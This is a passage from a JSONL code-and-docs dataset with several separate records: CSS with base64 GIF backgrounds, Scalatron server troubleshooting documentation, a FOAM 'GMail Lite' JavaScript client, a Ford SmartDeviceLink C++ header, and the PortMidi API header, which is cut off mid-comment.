url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7)}\r\nh4 {background-image: url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==)}\r\nh5 {background-image: url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==)}\r\nh6 {background-image: url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==)}\r\ndiv {background-image: url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7)}\r\nsection {background-image: url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=)}\r\narticle {background-image: url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7)}\r\nblockquote {background-image: url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7)}\r\naddress {background-image: url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=)}\r\npre {background-image: url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==)}\r\nhgroup {background-image: url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7)}\r\naside {background-image: url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=)}\r\nfigure {background-image: url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7)}\r\nfigcaption {border: 1px dashed #BBB}\r\n"} {"text": "---\nlayout: default\ntitle: Scalatron Troubleshooting\nsubtitle: Organizer Documentation\n---\n\n# About Scalatron\n\nScalatron is an educational resource for groups of programmers that want to learn more about\nthe Scala programming language or want to hone their Scala programming skills. It is based on\nScalatron BotWar, a competitive multi-player programming game in which coders pit bot programs\n(written in Scala) against each other.\n\nThe documentation, tutorial and source code are intended as a community resource and are\nin the public domain. Feel free to use, copy, and improve them!\n\n\n\n# Summary\n\nA lot of things can go wrong in life, and running Scalatron is one of them. Whatever happens,\nthough, you're probably not the only one experiencing it and so there's hope that by collecting\nproblematic experiences and solutions some of your pain can be alleviated. Here is a list of\nthings known to go wrong with Scalatron, and sometimes how to fix them:\n\n\n\n## Problems Starting The Server\n\n**On Windows, double-clicking `/bin/Scalatron.jar` pops up an error dialog \"Could not find the main class. Program will exit.\"**\n\nProbable Cause:\n\n* Very likely your Java Runtime Environment is too old.\n* Scalatron requires Version 1.6 or newer is required.\n\nSteps to Solve:\n\n* Go to [the Java download site](http://www.java.com/download/)\n* Download a more recent Java Runtime Environment\n* Install it and try again.\n\n\n**On Windows, running `java -jar /bin/Scalatron.jar` displays a \"UnsupportedClassVersionError\"**\n\nProbable Cause:\n\n* Very likely your Java Runtime Environment is too old.\n* Scalatron requires Version 1.6 or newer is required.\n\nSteps to Solve:\n\n* Go to [the Java download site](http://www.java.com/download/)\n* Download a more recent Java Runtime Environment\n* Install it and try again.\n\n\n\n## Performance Problems\n\n**Server hangs intermittently**\n\nProbable Cause:\n\n* Very likely Java has too little memory and spends too much time running garbage collection.\n\nSteps to Solve:\n\n* give the Scalatron server more memory - as much as you can, in fact. Try starting it with the following options:\n\n java -Xmx2G -server -jar Scalatron.jar\n\n\n\n**Compilations are slow or time out**\n\nProbable Cause:\n\n* The load on the server is too high, causing compilations to take too long.\n* This generally means that the ratio of users and bots to available CPU cycles is too high.\n\n\nSteps to Solve:\n\n* Run the server on a computer with more and/or faster CPU cores. Scalatron will use as many cores as you can provide.\n* Ask users to write better-behaved bots - they should not spawn mini-bots with abandon.\n* Spread your users across two servers, using one as a testing server (for frequent compilations) and\n one as a tournament server (for competitive runs of debugged bots).\n* Provide more memory to the Scalatron server (see tips for \"Server hangs intermittently\").\n* Throttle the simulation using the `-maxfps` command line option, e.g. using `maxfps 20'.\n This will keep the simulator from eating up all available CPU cycles.\n\n\n\n## Problems Using The Browser Client\n\nThe following browser/platform combinations should work:\n\n* Firefox 12.0 on Windows XP\n* Firefox 12.0 on MacOS 10.6.8\n* Safari 5.1.5 on MacOS 10.6.8\n\nThe following browser/platform combinations are known not to work:\n\n* Internet Explorer 8 on Windows XP\n* Internet Explorer 7 on Windows XP\n* Firefox 2.0.0.11 on Windows XP\n"} {"text": "/**\n * @license\n * Copyright 2015 Google Inc. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nCLASS({\n package: 'com.google.mail',\n name: 'MailClient',\n extends: 'foam.browser.ui.BrowserView',\n requires: [\n 'foam.mlang.CannedQuery',\n 'com.google.mail.EMailCitationView2',\n 'com.google.mail.EMailView2',\n 'foam.core.dao.AuthenticatedWebSocketDAO',\n 'foam.lib.email.EMail',\n 'foam.dao.EasyDAO',\n 'com.google.mail.AuthClient',\n 'foam.browser.BrowserConfig'\n ],\n properties: [\n {\n name: 'auth',\n factory: function() {\n return this.AuthClient.create({\n clientId: '406725352531-5500665qnpni7257ml84e33smke2ijjd.apps.googleusercontent.com',\n scopes: [\n \"openid\",\n \"profile\",\n \"email\",\n \"https://www.googleapis.com/auth/gmail.modify\",\n \"https://www.googleapis.com/auth/gmail.compose\"\n ]\n });\n }\n },\n {\n name: 'emailDAOContext',\n factory: function() {\n var Y = this.Y.sub();\n\n Y.registerModel({\n __proto__: this.AuthenticatedWebSocketDAO.__proto__,\n create: this.makeWebSocketDAO.bind(this)\n }, 'foam.core.dao.WebSocketDAO');\n }\n },\n {\n name: 'emailDAO',\n factory: function() {\n return this.EasyDAO.create({\n model: this.EMail,\n daoType: 'MDAO',\n guid: true,\n cloning: true,\n contextualize: true,\n syncWithServer: true,\n sockets: true\n });\n }\n },\n {\n name: 'cannedQueryDAO',\n factory: function() {\n var dao = this.EasyDAO.create({\n model: this.CannedQuery,\n seqNo: true,\n daoType: 'MDAO'\n });\n\n [\n this.CannedQuery.create({\n label: \"Inbox\",\n order: 1,\n expression: CONTAINS(this.EMail.LABELS, 'INBOX')\n }),\n this.CannedQuery.create({\n label: \"All Mail\",\n order: 2,\n expression: NOT(OR(\n CONTAINS(this.EMail.LABELS, 'SPAM'),\n CONTAINS(this.EMail.LABELS, 'TRASH'),\n CONTAINS(this.EMail.LABELS, 'SENT')))\n }),\n this.CannedQuery.create({\n label: \"Starred\",\n order: 3,\n expression: CONTAINS(this.EMail.LABELS, 'STARRED')\n })\n ].select(dao);\n\n return dao;\n }\n },\n {\n name: 'data',\n factory: function() {\n return this.BrowserConfig.create({\n title: 'GMail Lite',\n model: this.EMail,\n dao: this.emailDAO,\n cannedQueryDAO: this.cannedQueryDAO,\n listView: {\n factory_: 'foam.ui.DAOListView',\n rowView: 'com.google.mail.EMailCitationView2',\n minWidth: 350,\n preferredWidth: 500,\n maxWidth: 500\n },\n innerDetailView: 'com.google.mail.EMailView2'\n });\n }\n }\n ],\n methods: [\n function init() {\n this.SUPER();\n this.auth.go();\n },\n function makeWebSocketDAO(args, X) {\n var dao = this.AuthenticatedWebSocketDAO.create(args, X);\n Events.follow(dao.authToken$, this.auth.idToken$);\n return dao;\n }\n ]\n});\n"} {"text": "/*\n Copyright (c) 2018, Ford Motor Company\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following\n disclaimer in the documentation and/or other materials provided with the\n distribution.\n\n Neither the name of the Ford Motor Company nor the names of its contributors\n may be used to endorse or promote products derived from this software\n without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef SRC_COMPONENTS_APPLICATION_MANAGER_RPC_PLUGINS_VEHICLE_INFO_PLUGIN_INCLUDE_VEHICLE_INFO_PLUGIN_VEHICLE_INFO_HMI_COMMAND_FACTORY_H\n#define SRC_COMPONENTS_APPLICATION_MANAGER_RPC_PLUGINS_VEHICLE_INFO_PLUGIN_INCLUDE_VEHICLE_INFO_PLUGIN_VEHICLE_INFO_HMI_COMMAND_FACTORY_H\n\n#include \"application_manager/application_manager.h\"\n#include \"application_manager/command_factory.h\"\n#include \"vehicle_info_plugin/custom_vehicle_data_manager.h\"\n\nnamespace vehicle_info_plugin {\nnamespace app_mngr = application_manager;\n\n/**\n * @brief The vehicle info hmi command factory.\n */\nclass VehicleInfoHmiCommandFactory : public app_mngr::CommandFactory {\n public:\n VehicleInfoHmiCommandFactory(\n app_mngr::ApplicationManager& application_manager,\n app_mngr::rpc_service::RPCService& rpc_service,\n app_mngr::HMICapabilities& hmi_capabilities,\n policy::PolicyHandlerInterface& policy_handler,\n CustomVehicleDataManager& custom_vehicle_data_manager);\n\n app_mngr::CommandSharedPtr CreateCommand(\n const app_mngr::commands::MessageSharedPtr& message,\n app_mngr::commands::Command::CommandSource source) OVERRIDE;\n\n bool IsAbleToProcess(\n const int32_t function_id,\n const app_mngr::commands::Command::CommandSource source) const OVERRIDE;\n\n private:\n app_mngr::ApplicationManager& application_manager_;\n app_mngr::rpc_service::RPCService& rpc_service_;\n app_mngr::HMICapabilities& hmi_capabilities_;\n policy::PolicyHandlerInterface& policy_handler_;\n CustomVehicleDataManager& custom_vehicle_data_manager_;\n\n app_mngr::CommandCreator& buildCommandCreator(\n const int32_t function_id, const int32_t message_type) const;\n\n DISALLOW_COPY_AND_ASSIGN(VehicleInfoHmiCommandFactory);\n};\n} // namespace vehicle_info_plugin\n\n#endif // SRC_COMPONENTS_APPLICATION_MANAGER_RPC_PLUGINS_VEHICLE_INFO_PLUGIN_INCLUDE_VEHICLE_INFO_PLUGIN_VEHICLE_INFO_HMI_COMMAND_FACTORY_H\n"} {"text": "#ifndef PORT_MIDI_H\n#define PORT_MIDI_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\n/*\n * PortMidi Portable Real-Time MIDI Library\n * PortMidi API Header File\n * Latest version available at: http://sourceforge.net/projects/portmedia\n *\n * Copyright (c) 1999-2000 Ross Bencina and Phil Burk\n * Copyright (c) 2001-2006 Roger B. Dannenberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files\n * (the \"Software\"), to deal in the Software without restriction,\n * including without limitation the rights to use, copy, modify, merge,\n * publish, distribute, sublicense, and/or sell copies of the Software,\n * and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR\n * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n/*\n * The text above constitutes the entire PortMidi license; however, \n * the PortMusic community also makes the following non-binding requests:\n *\n * Any person wishing to distribute modifications to the Software is\n * requested to send the modifications to the original developer so that\n * they can be incorporated into the canonical version. It is also\n * requested that these non-binding requests be included along with the \n * license above.\n */\n\n/* CHANGELOG FOR PORTMIDI\n * (see ../CHANGELOG.txt)\n *\n * NOTES ON HOST ERROR REPORTING: \n *\n * PortMidi errors (of type PmError) are generic, system-independent errors.\n * When an error does not map to one of the more specific PmErrors, the\n * catch-all code pmHostError is returned. This means that PortMidi has\n * retained a more specific system-dependent error code. The caller can\n * get more information by calling Pm_HasHostError() to test if there is\n * a pending host error, and Pm_GetHostErrorText() to get a text string\n * describing the error. Host errors are reported on a per-device basis \n * because only after you open a device does PortMidi have a place to \n * record the host error code. I.e. only \n * those routines that receive a (PortMidiStream *) argument check and \n * report errors. One exception to this is that Pm_OpenInput() and \n * Pm_OpenOutput() can report errors even though when an error occurs,\n * there is no PortMidiStream* to hold the error. Fortunately, both\n * of these functions return any error immediately, so we do not really\n * need per-device error memory. Instead, any host error code is stored\n * in a global, pmHostError is returned, and the user can call \n * Pm_GetHostErrorText() to get the error message (and the invalid stream\n * parameter will be ignored.) The functions \n * pm_init and pm_term do not fail or raise\n * errors. The job of pm_init is to locate all available devices so that\n * the caller can get information via PmDeviceInfo(). If an error occurs,\n * the device is simply not listed as available.\n *\n * Host errors come in two flavors:\n * a) host error \n * b) host error during callback\n * These can occur w/midi input or output devices. (b) can only happen \n * asynchronously (during callback routines), whereas (a) only occurs while\n * synchronously running PortMidi and any resulting system dependent calls.\n * Both (a) and (b) are reported by the next read or write call. You can\n * also query for asynchronous errors (b) at any time by calling\n * Pm_HasHostError().\n *\n * NOTES ON COMPILE-TIME SWITCHES\n *\n * DEBUG assumes stdio and a console. Use this if you want automatic, simple\n * error reporting, e.g. for prototyping. If you are using MFC or some \n * other graphical interface with no console, DEBUG probably should be\n * undefined.\n * PM_CHECK_ERRORS more-or-less takes over error checking for return values,\n * stopping your program and printing error messages when an error\n * occurs. This also uses stdio for console text I/O.\n */\n\n#ifndef WIN32\n// Linux and OS X have stdint.h\n#include <stdint.h>\n#else\n#ifndef INT32_DEFINED\n// rather than having users install a special .h file for windows, \n// just put the required definitions inline here. porttime.h uses\n// these too, so the definitions are (unfortunately) duplicated there\ntypedef int int32_t;\ntypedef unsigned int uint32_t;\n#define INT32_DEFINED\n#endif\n#endif\n\n#ifdef _WINDLL\n#define PMEXPORT __declspec(dllexport)\n#else\n#define PMEXPORT \n#endif\n\n#ifndef FALSE\n #define FALSE 0\n#endif\n#ifndef TRUE\n #define TRUE 1\n#endif\n\n/* default size of buffers for sysex transmission: */\n#define PM_DEFAULT_SYSEX_BUFFER_SIZE 1024\n\n/** List of portmidi errors.*/\ntypedef enum {\n pmNoError = 0,\n pmNoData = 0, /**< A \"no error\" return that also indicates no data avail. */\n pmGotData = 1, /**< A \"no error\" return that also indicates data available */\n pmHostError = -10000,\n pmInvalidDeviceId, /** out of range or \n * output device when input is requested or \n * input device when output is requested or\n * device is already opened \n */\n pmInsufficientMemory,\n pmBufferTooSmall,\n pmBufferOverflow,\n pmBadPtr, /* PortMidiStream parameter is NULL or\n * stream is not opened or\n * stream is output when input is required or\n * stream is input when output is required */\n pmBadData, /** illegal midi data, e.g. missing EOX */\n pmInternalError,\n pmBufferMaxSize /** buffer is already as large as it can be */\n /* NOTE: If you add a new error type, be sure to update Pm_GetErrorText() */\n} PmError;\n\n/**\n Pm_Initialize() is the library initialisation function - call this before\n using the library.\n*/\nPMEXPORT PmError Pm_Initialize( void );\n\n/**\n Pm_Terminate() is the library termination function - call this after\n using the library.\n*/\nPMEXPORT PmError Pm_Terminate( void );\n\n/** A single PortMidiStream is a descriptor for an open MIDI device.\n*/\ntypedef void PortMidiStream;\n#define PmStream PortMidiStream\n\n/**\n Test whether stream has a pending host error. Normally, the client finds\n out about errors through returned error codes, but some errors can occur\n asynchronously where the client does not\n explicitly call a function, and therefore cannot receive an error code.\n The client can test for a pending error using Pm_HasHostError(). If true,\n the error can be accessed and cleared by calling Pm_GetErrorText(). \n Errors are also cleared by calling other functions that can return\n errors, e.g. Pm_OpenInput(), Pm_OpenOutput(), Pm_Read(), Pm_Write(). The\n client does not need to call Pm_HasHostError(). Any pending error will be\n reported the next time the client performs an explicit function call on \n the stream, e.g. an input or output operation. Until the error is cleared,\n no new error codes will be obtained, even for a different stream.\n*/\nPMEXPORT int Pm_HasHostError( PortMidiStream * stream );\n\n\n/** Translate portmidi error number into human readable message.\n These strings are constants (set at compile time) so client has \n no need to allocate storage\n*/\nPMEXPORT const char *Pm_GetErrorText( PmError errnum );\n\n/** Translate portmidi host error into human readable message.\n These strings are computed at run time, so client has to allocate storage.\n After this routine executes, the host error is cleared. \n*/\nPMEXPORT void Pm_GetHostErrorText(char * msg, unsigned int len);\n\n#define HDRLENGTH 50\n#define PM_HOST_ERROR_MSG_LEN 256u /* any host error msg will occupy less \n than this number of characters */\n\n/**\n Device enumeration mechanism.\n\n Device ids range from 0 to Pm_CountDevices()-1.\n\n*/\ntypedef int PmDeviceID;\n#define pmNoDevice -1\ntypedef struct {\n int structVersion; /**< this internal structure version */ \n const char *interf; /**< underlying MIDI API, e.g. MMSystem or DirectX */\n const char *name; /**< device name, e.g. USB MidiSport 1x1 */\n int input; /**< true iff input is available */\n int output; /**< true iff output is available */\n int opened; /**< used by generic PortMidi code to do error checking on arguments */\n\n} PmDeviceInfo;\n\n/** Get devices count, ids range from 0 to Pm_CountDevices()-1. */\nPMEXPORT int Pm_CountDevices( void );\n/**\n Pm_GetDefaultInputDeviceID(), Pm_GetDefaultOutputDeviceID()\n\n Return the default device ID or pmNoDevice if there are no devices.\n The result (but not pmNoDevice) can be passed to Pm_OpenMidi().\n \n The default device can be specified using a small application\n named pmdefaults that is part of the PortMidi distribution. This\n program in turn uses the Java Preferences object created by\n java.util.prefs.Preferences.userRoot().node(\"/PortMidi\"); the\n preference is set by calling \n prefs.put(\"PM_RECOMMENDED_OUTPUT_DEVICE\", prefName);\n or prefs.put(\"PM_RECOMMENDED_INPUT_DEVICE\", prefName);\n \n In the statements above, prefName is a string describing the\n MIDI device in the form \"interf, name\" where interf identifies\n the underlying software system or API used by PortMdi to access\n devices and name is the name of the device. These correspond to \n the interf and name fields of a PmDeviceInfo. (Currently supported\n interfaces are \"MMSystem\" for Win32, \"ALSA\" for Linux, and \n \"CoreMIDI\" for OS X, so in fact, there is no choice of interface.)\n In \"interf, name\", the strings are actually substrings of \n the full interface and name strings. For example, the preference \n \"Core, Sport\" will match a device with interface \"CoreMIDI\"\n and name \"In USB MidiSport 1x1\". It will also match \"CoreMIDI\"\n and \"In USB MidiSport 2x2\". The devices are enumerated in device\n ID order, so the lowest device ID that matches the pattern becomes\n the default device. Finally, if the comma-space (\", \") separator\n between interface and name parts of the preference is not found,\n the entire preference string is interpreted as a name, and the\n interface part is the empty string, which matches anything.\n\n On the MAC, preferences are stored in \n /Users/$NAME/Library/Preferences/com.apple.java.util.prefs.plist\n which is a binary file. In addition to the pmdefaults program,\n there are utilities that can read and edit this preference file.\n\n On the PC, \n\n On Linux, \n\n*/\nPMEXPORT PmDeviceID Pm_GetDefaultInputDeviceID( void );\n/** see PmDeviceID Pm_GetDefaultInputDeviceID() */\nPMEXPORT PmDeviceID Pm_GetDefaultOutputDeviceID( void );\n\n/**\n PmTimestamp is used to represent a millisecond clock with arbitrary\n start time. The type is used for all MIDI timestampes and clocks.\n*/\ntypedef int32_t PmTimestamp;\ntypedef PmTimestamp (*PmTimeProcPtr)(void *time_info);\n\n/** TRUE if t1 before t2 */\n#define PmBefore(t1,t2) ((t1-t2) < 0)\n/** \n \\defgroup grp_device Input/Output Devices Handling\n @{\n*/\n/**\n Pm_GetDeviceInfo() returns a pointer to a PmDeviceInfo structure\n referring to the device specified by id.\n If id is out of range the function returns NULL.\n\n The returned structure is owned by the PortMidi implementation and must\n not be manipulated or freed. The pointer is guaranteed to be valid\n between calls to Pm_Initialize() and Pm_Terminate().\n*/\nPMEXPORT const PmDeviceInfo* Pm_GetDeviceInfo( PmDeviceID id );\n\n/**\n Pm_OpenInput() and Pm_OpenOutput() open devices.\n\n stream is the address of a PortMidiStream pointer which will receive\n a pointer to the newly opened stream.\n\n inputDevice is the id of the device used for input (see PmDeviceID above).\n\n inputDriverInfo is a pointer to an optional driver specific data structure\n containing additional information for device setup or handle processing.\n inputDriverInfo is never required for correct operation. If not used\n inputDriverInfo should be NULL.\n\n outputDevice is the id of the device used for output (see PmDeviceID above.)\n\n outputDriverInfo is a pointer to an optional driver specific data structure\n containing additional information for device setup or handle processing.\n outputDriverInfo is never required for correct operation. If not used\n outputDriverInfo should be NULL.\n\n For input, the buffersize specifies the number of input events to be \n buffered waiting to be read using Pm_Read(). For output, buffersize \n specifies the number of output events to be buffered waiting for output. \n (In some cases -- see below -- PortMidi does not buffer output at all\n and merely passes data to a lower-level API, in which case buffersize\n is ignored.)\n \n latency is the delay in milliseconds applied to timestamps to determine \n when the output should actually occur. (If latency is < 0, 0 is assumed.) \n If latency is zero, timestamps are ignored and all output is delivered\n immediately. If latency is greater than zero, output is delayed until the\n message timestamp plus the latency. (NOTE: the time is measured relative \n to the time source indicated by time_proc. Timestamps are absolute,\n not relative delays or offsets.) In some cases, PortMidi can obtain\n better timing than your application by passing timestamps along to the\n device driver or hardware. Latency may also help you to synchronize midi\n data to audio data by matching midi latency to the audio buffer latency.\n\n time_proc is a pointer to a procedure that returns time in milliseconds. It\n may be NULL, in which case a default millisecond timebase (PortTime) is \n used. If the application wants to use PortTime, it should start the timer\n (call Pt_Start) before calling Pm_OpenInput or Pm_OpenOutput. If the\n application tries to start the timer *after* Pm_OpenInput or Pm_OpenOutput,\n it may get a ptAlreadyStarted error from Pt_Start, and the application's\n preferred time resolution and callback function will be ignored.\n time_proc result values are appended to incoming MIDI data, and time_proc\n times are used to schedule outgoing MIDI data (when latency is non-zero).\n\n time_info is a pointer passed to time_proc.\n\n Example: If I provide a timestamp of 5000, latency is 1, and time_proc\n returns 4990, then the desired output time will be when time_proc returns\n timestamp+latency = 5001. This will be 5001-4990 = 11ms from now.\n\n return value:\n Upon success Pm_Open() returns PmNoError and places a pointer to a\n valid PortMidiStream in the stream argument.\n If a call to Pm_Open() fails a nonzero error code is returned (see\n PMError above) and the value of port is invalid.\n\n Any stream that is successfully opened should eventually be closed\n by calling Pm_Close().\n\n*/\nPMEXPORT PmError Pm_OpenInput( PortMidiStream** stream,\n PmDeviceID inputDevice,\n void *inputDriverInfo,\n int32_t bufferSize,\n PmTimeProcPtr time_proc,\n void *time_info );\n\nPMEXPORT PmError Pm_OpenOutput( PortMidiStream** stream,\n PmDeviceID outputDevice,\n void *outputDriverInfo,\n int32_t bufferSize,\n PmTimeProcPtr time_proc,\n void *time_info,\n int32_t latency );\n /** @} */\n\n/**\n \\defgroup grp_events_filters Events and Filters Handling\n @{\n*/\n\n/* \\function PmError Pm_SetFilter( PortMidiStream* stream, int32_t filters )\n Pm_SetFilter() sets filters on an open input stream to drop selected\n input types. By default, only active sensing messages are filtered.\n To prohibit, say, active sensing and sysex messages, call\n Pm_SetFilter(stream, PM_FILT_ACTIVE | PM_FILT_SYSEX);\n\n Filtering is useful when midi routing or midi thru functionality is being\n provided by the user application.\n For example, you may want to exclude timing messages (clock, MTC, start/stop/continue),\n while allowing note-related messages to pass.\n Or you may be using a sequencer or drum-machine for MIDI clock information but want to\n exclude any notes it may play.\n */\n \n/* Filter bit-mask definitions */\n/** filter active sensing messages (0xFE): */\n#define PM_FILT_ACTIVE (1 << 0x0E)\n/** filter system exclusive messages (0xF0): */\n#define PM_FILT_SYSEX (1 << 0x00)\n/** filter MIDI clock message (0xF8) */\n#define PM_FILT_CLOCK (1 << 0x08)\n/** filter play messages (start 0xFA, stop 0xFC, continue 0xFB) */\n#define PM_FILT_PLAY ((1 << 0x0A) | (1 << 0x0C) | (1 << 0x0B))\n/** filter tick messages (0xF9) */\n#define PM_FILT_TICK (1 << 0x09)\n/** filter undefined FD messages */\n#define PM_FILT_FD (1 << 0x0D)\n/** filter undefined real-time messages */\n#define PM_FILT_UNDEFINED PM_FILT_FD\n/** filter reset messages (0xFF) */\n#define PM_FILT_RESET (1 << 0x0F)\n/** filter all real-time messages */\n#define PM_FILT_REALTIME (PM_FILT_ACTIVE | PM_FILT_SYSEX | PM_FILT_CLOCK | \\\n PM_FILT_PLAY | PM_FILT_UNDEFINED | PM_FILT_RESET | PM_FILT_TICK)\n/** filter note-on and note-off (0x90-0x9F and 0x80-0x8F */\n#define PM_FILT_NOTE ((1 << 0x19) | (1 << 0x18))\n/** filter channel aftertouch (most midi controllers use this) (0xD0-0xDF)*/\n#define PM_FILT_CHANNEL_AFTERTOUCH (1 << 0x1D)\n/** per-note aftertouch (0xA0-0xAF) */\n#define PM_FILT_POLY_AFTERTOUCH (1 << 0x1A)\n/** filter both channel and poly aftertouch */\n#define PM_FILT_AFTERTOUCH (PM_FILT_CHANNEL_AFTERTOUCH | PM_FILT_POLY_AFTERTOUCH)\n/** Program changes (0xC0-0xCF) */\n#define PM_FILT_PROGRAM (1 << 0x1C)\n/** Control Changes (CC's) (0xB0-0xBF)*/\n#define PM_FILT_CONTROL (1 << 0x1B)\n/** Pitch Bender (0xE0-0xEF*/\n#define PM_FILT_PITCHBEND (1 << 0x1E)\n/** MIDI Time Code (0xF1)*/\n#define PM_FILT_MTC (1 << 0x01)\n/** Song Position (0xF2) */\n#define PM_FILT_SONG_POSITION (1 << 0x02)\n/** Song Select (0xF3)*/\n#define PM_FILT_SONG_SELECT (1 << 0x03)\n/** Tuning request (0xF6)*/\n#define PM_FILT_TUNE (1 << 0x06)\n/** All System Common messages (mtc, song position, song select, tune request) */\n#define PM_FILT_SYSTEMCOMMON (PM_FILT_MTC | PM_FILT_SONG_POSITION | PM_FILT_SONG_SELECT | PM_FILT_TUNE)\n\n\nPMEXPORT PmError Pm_SetFilter( PortMidiStream* stream, int32_t filters );\n\n#define Pm_Channel(channel) (1<<(channel))\n/**\n Pm_SetChannelMask() filters incoming messages based on channel.\n The mask is a 16-bit bitfield corresponding to appropriate channels.\n The Pm_Channel macro can assist in calling this function.\n i.e. to set receive only input on channel 1, call with\n Pm_SetChannelMask(Pm_Channel(1));\n Multiple channels should be OR'd together, like\n Pm_SetChannelMask(Pm_Channel(10) | Pm_Channel(11))\n\n Note that channels are numbered 0 to 15 (not 1 to 16). Most \n synthesizer and interfaces number channels starting at 1, but\n PortMidi numbers channels starting at 0.\n\n All channels are allowed by default\n*/\nPMEXPORT PmError Pm_SetChannelMask(PortMidiStream *stream, int mask);\n\n/**\n Pm_Abort() terminates outgoing messages immediately\n The caller should immediately close the output port;\n this call may result in transmission of a partial midi message.\n There is no abort for Midi input because the user can simply\n ignore messages in the buffer and close an input device at\n any time.\n */\nPMEXPORT PmError Pm_Abort( PortMidiStream* stream );\n \n/**\n Pm_Close() closes a midi stream, flushing any pending buffers.\n (PortMidi attempts to close open streams when the application \n exits -- this is particularly difficult under Windows.)\n*/\nPMEXPORT PmError Pm_Close( PortMidiStream* stream );\n\n/**\n Pm_Synchronize() instructs PortMidi to (re)synchronize to the\n time_proc passed when the stream was opened. Typically, this\n is used when the stream must be opened before the time_proc\n 